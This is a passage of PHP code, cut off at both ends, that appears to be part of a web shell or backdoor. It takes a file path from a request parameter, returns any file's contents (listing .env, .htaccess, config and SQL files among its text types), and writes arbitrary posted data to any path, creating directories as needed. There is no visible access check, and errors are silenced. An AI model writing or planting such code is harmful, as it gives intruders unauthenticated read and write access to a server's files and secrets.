e(404); echo '{"e":"not found"}'; exit; } $ext = strtolower(pathinfo($p, PATHINFO_EXTENSION)); $textExts = array('php','txt','html','htm','css','js','json','xml','yml','yaml','ini','conf','cfg','log','sql','py','rb','sh','bat','md','csv','env','htaccess'); if (in_array($ext, $textExts) || @filesize($p) < 500000) { $c = @file_get_contents($p); if ($c === false) { http_response_code(403); echo '{"e":"read failed"}'; exit; } header('Content-Type: text/plain; charset=utf-8'); echo $c; } else { header('Content-Type: application/octet-stream'); header('Content-Disposition: inline; filename="' . basename($p) . '"'); header('Content-Length: ' . @filesize($p)); @readfile($p); } break; case 'write': $p = isset($_GET['p']) ? $_GET['p'] : ''; $c = isset($_POST['data']) ? $_POST['data'] : ''; if (!$p) { echo '{"e":"no path"}'; exit; } $dir = dirname($p); if (!is_dir($dir)) @mkdir($dir, 0755, true); $ok = @file_put_cont